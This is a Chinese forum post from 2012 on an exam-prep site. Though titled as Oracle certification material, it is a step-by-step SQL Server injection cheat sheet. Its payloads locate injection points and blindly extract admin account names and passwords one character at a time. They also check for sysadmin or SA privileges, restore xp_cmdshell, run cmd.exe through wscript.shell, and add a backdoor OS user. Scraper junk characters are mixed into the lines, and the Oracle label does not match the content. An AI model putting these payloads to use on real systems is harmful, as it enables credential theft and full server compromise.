a我考网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 81|回复: 0

[综合] oracle认证考试SQL注射语句解析一

[复制链接]
发表于 2012-8-4 13:54:49 | 显示全部楼层 |阅读模式
oracle认证考试SQL注射语句解析一+ U8 @1 J8 Q9 _5 d/ n
SQL注射语句2 X4 q7 M( I. t! Q
1.判断有无注入点9 G* B/ ?$ Q8 d0 y
‘ ; and 1=1 and 1=2
! ]' D+ r: H- i7 X1 a* x: {9 U2.猜表一般的表的名称无非是admin adminuser user pass password 等。.
- J8 p; {! d) f5 k/ S" A, Y* aand 0《》(select count(*) from *)
$ O- L* Y. ~, Iand 0《》(select count(*) from admin) ---判断是否存在admin这张表
# `" c1 e( j% h; Y- y3.猜帐号数目 如果遇到0《 返回正确页面 1《返回错误页面说明帐号数目就是1个" c4 P+ D  H4 x7 b/ O- i0 w
and 0《(select count(*) from admin)0 C6 o6 u9 m+ l
and 1《(select count(*) from admin)
2 i& C" F  Q- t1 T5 g* S# D2 F* b4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称。
4 U5 m- v& I& L# x8 l- [+ r  Rand 1=(select count(*) from admin where len(*)》0)--
; f: L9 H3 k( z$ e! ^) oand 1=(select count(*) from admin where len(用户字段名称name)》0)
6 q) v; f9 K! V$ jand 1=(select count(*) from admin where len(密码字段名称password)》0)
; Q; `: v- A" B) F9 q5.猜解各个字段的长度 猜解长度就是把》0变换 直到返回正确页面为止9 P' j5 t% }- Q, D/ s
and 1=(select count(*) from admin where len(*)》0)
4 T5 r) O: s6 W, I' Kand 1=(select count(*) from admin where len(name)》6) 错误* a( ^" g0 d7 T3 {% v5 e- q
and 1=(select count(*) from admin where len(name)》5) 正确 长度是6
( d' ~/ M. ^" p( e! zand 1=(select count(*) from admin where len(name)=6) 正确" ~- D& \; r/ R" u; p/ H1 P# O, T
and 1=(select count(*) from admin where len(password)》11) 正确; G8 K0 _. b4 Z( G7 h
and 1=(select count(*) from admin where len(password)》12) 错误 长度是12
4 g; P' P4 W4 Rand 1=(select count(*) from admin where len(password)=12) 正确
% l$ V" ~- X$ N& I* @1 L, Z6.猜解字符
/ Y, A2 U  B4 K' G8 Sand 1=(select count(*) from admin where left(name,1)=’a‘) ---猜解用户帐号的第一位8 A% I4 H! C4 C& m- S
and 1=(select count(*) from admin where left(name,2)=’ab‘)---猜解用户帐号的第二位0 D8 S* v2 w+ a
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了# e; U8 p- ^/ @% r8 I, u8 B
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
; `, s- N3 _+ ~4 u& h0 I这个查询语句可以猜解中文的用户和密码。只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符。. j% ~( S4 W( o& f) u
看服务器打的补丁=出错了打了SP4补丁1 P7 `# @, q1 q. U) @. z4 J
and 1=(select @@VERSION)--: O5 J' ?4 I; b
看数据库连接账号的权限,返回正常,证明是服务器角色sysadmin权限。: S  }5 f* a7 u8 l# V, I
and 1=(Select IS_SRVROLEMEMBER(’sysadmin‘))--
5 }- x/ x" O7 |判断连接数据库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)5 V. I0 J3 y# _3 Q5 ^* v
and ’sa‘=(Select System_user)--2 f% N# [# r; O! ]2 w3 E/ B
and user_name()=’dbo‘--
( R* |! d5 {; }( c5 Z9 _" c8 dand 0《》(select user_name()--
+ `# v, [2 M% Z. b3 Z6 {看xp_cmdshell是否删除: M; p# [# G4 M* O9 w' K
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ’X‘ AND6 N$ G: o6 [( c
name = ’xp_cmdshell‘)--
* l# H- k' I5 H& V( E  |5 `xp_cmdshell被删除,恢复,支持绝对路径的恢复
& p: X7 ]6 m% Z: h# t% x;EXEC master.dbo.sp_addextendedproc ’xp_cmdshell‘,’xplog70.dll‘--4 ^4 V/ Y. J% i# k+ L" S
;EXEC master.dbo.sp_addextendedproc
8 c' @& s9 o* y; c! W( F’xp_cmdshell‘,’c:\inetpub\wwwroot\xplog70.dll‘--2 m. t8 d3 `* T9 }, p$ G
反向PING自己实验$ M& {. ?  _7 p/ [' q
;use master;declare @s int;exec sp_oacreate “wscript.shell”,@s out;exec: `3 A7 h* _1 e9 Q  Y
sp_oamethod @s,“run”,NULL,“cmd.exe /c ping 192.168.0.1”;--
+ F" L4 ?9 p7 T, ~0 v( n加帐号
  L8 Q1 j; S* ?( C$ P;DECLARE @shell INT EXEC SP_OACreate ’wscript.shell‘,@shell OUTPUT EXEC
# g. t  @7 ]0 W' U3 f  B. }/ L0 rSP_OAMETHOD @shell,’run‘,null, ’C:\WINNT\system32\cmd.exe /c net user, E: `+ I+ K9 u+ ?1 K
jiaoniang$ 1866574 /add‘--
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Woexam.Com ( 湘ICP备18023104号 )

GMT+8, 2024-5-14 10:02 , Processed in 0.301606 second(s), 21 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表